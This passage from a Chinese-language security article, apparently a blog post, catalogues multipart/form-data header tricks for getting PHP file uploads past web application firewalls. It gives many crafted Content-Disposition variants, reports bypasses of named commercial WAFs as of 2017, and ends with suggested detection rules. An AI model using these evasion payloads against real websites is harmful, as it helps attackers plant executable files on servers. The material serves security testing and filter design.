read: ["header",["Content-Disposition","form-data; name=\"submit_x\"","Content-Disposition: form-data; name=\"submit_x\""]]
read: ["body","upload"]
read: ["part_end"]
read: ["eof"]
read: ["eof"]

 

4. 绕过

 

获取文件名的地方在Content-Disposition: form-data; name="file_x"; filename="xx.php"和Content-Type里,所以绕过的地方也就在这两个地方了。

 

4.1 去掉引号

 

Content-Disposition: form-data; name=file_x; filename="xx.php"
Content-Disposition: form-data; name=file_x; filename=xx.php
Content-Disposition: form-data; name="file_x"; filename=xx.php

 

4.2 双引号变成单引号

 

Content-Disposition: form-data; name=\'file_x\'; filename=\'xx.php\'

 

单引号、双引号、不要引号,都能上传。

 

4.3 大小写

 

对这三个固定的字符串进行大小写转换

 

  • Content-Disposition
  • name
  • filename

 

比如name转换成Name,Content-Disposition转换成content-disposition。两年前,拿它绕过安全狗的上传,不知道现在如何。

 

4.4 空格

 

: ; =添加1个或者多个空格,不过测试只有filename在=前面添加空格,上传失败。

 

在filename=后面添加空格,截止到2017年10月04日还能绕过某盾WAF。

 

4.5 去掉或修改Content-Disposition值

 

有的WAF在解析的时候,认为Content-Disposition值一定是form-data,造成绕过。两年前,拿它绕过安全狗的上传,不知道现在如何。

 

Content-Disposition: name=\'file_x\'; filename=\'xx.php\'

 

4.6 交换name和filename的顺序

 

规定Content-Disposition必须在最前面,所以只能交换name和filename的顺序。

 

有的WAF可能会匹配name在前面,filename在后面,所以下面姿势会导致Bypass。

 

Content-Disposition: form-data; filename="xx.php"; name=file_x

 

4.7 多个boundary

 

最后上传的文件是test.php而非test.txt,但是取的文件名只取了第一个就会被Bypass。

 

------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.txt"
Content-Type: text/javascript

<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="file_x"; filename="test.php"
Content-Type: text/javascript

<?php phpinfo(); ?>
------WebKitFormBoundaryj1oRYFW91eaj8Ex2
Content-Disposition: form-data; name="submit_x"

upload
------WebKitFormBoundaryj1oRYFW91eaj8Ex2--

 

4.8 多个filename

 

最终上传成功的文件名是test.php。但是由于解析文件名时,会解析到第一个。正则默认都会匹配到第一个。

 

Content-Disposition: form-data; name="file_x"; filename="test.txt"; filename="test.php" 

 

4.9 多个分号

 

文件解析时,可能解析不到文件名,导致绕过。

 

Content-Disposition: form-data; name="file_x";;; filename="test.php"

 

4.10 multipart/form-DATA

 

这种绕过应该很少,大多数都会忽略大小写。php和java都支持。

 

Content-Type: multipart/form-DATA

 

4.11 Header在boundary前添加任意字符

 

这个只能说,PHP很皮,这都支持。试了JAVA会报错。

 

Content-Type: multipart/form-data; bypassboundary=----WebKitFormBoundaryj1oRYFW91eaj8Ex2

 

4.12 filename换行

 

PHP支持,Java不支持。截止到2017年10月18日,这个方法能绕过某盾。

 

Content-Disposition: form-data; name="file_x"; file
name="test.php"

 

这种PHP也支持。

 

fi
lename

 

4.13 name和filename添加任意字符串

 

PHP上传成功,Java上传失败。

 

Content-Disposition: name="file_x"; bypass waf upload; filename="test.php"; 

 

4.14 其他

 

其他利用系统特性的就不描述了,不是本文重点。有兴趣可以看下我的Waf Bypass之道(upload篇)

 

5. 案例绕过

 

5.1 某盾

 

测试某盾WAF对恶意文件上传的拦截。方法比较粗暴,判断如下:

 

  1. 判断POST数据是否存在Content-Disposition:字符串
  2. 判断filename的文件名是否在黑名单内

 

两者满足就拦截,没有做其他多余的判断,正则也很好写。

 

测试:curl -v -d "Content-Disposition:filename=xx.php;" www.victim.com 拦截

 

这种方式确实有误拦截情况。不过截止到2017年10月04日,某盾的上传还是能够通过在filename=后面添加空格进行绕过。
POC:Content-Disposition: form-data; name="file_x"; filename= "xx.php";

 

下面这种也能绕过。

 

Content-Disposition: form-data; name="file_x"; file
name="test.php"

 

5.2 UCloud

 

先找一个用了UCloud WAF的网站测试。

 

拦截

 

Content-Disposition: form-data; name="file_x";filename="xx.php"

 

去掉form-data绕过

 

Content-Disposition:  name="file_x";filename="xx.php"

 

其他的就不测试了…

 

6. How to Play

 

看了这么多,那规则到底应该如何写。我个人想法如下:

 

  1. 由于是文件上传,所以必须有Content-Type: multipart/form-data,先判断这个是否存在。
  2. POST数据去掉所有换行,匹配是否有Content-Disposition:.*filename\s*=\s*(.*php)类似的规则。

 

这只是我的个人想法,如果有更好的想法,欢迎交流讨论。

 

7. Reference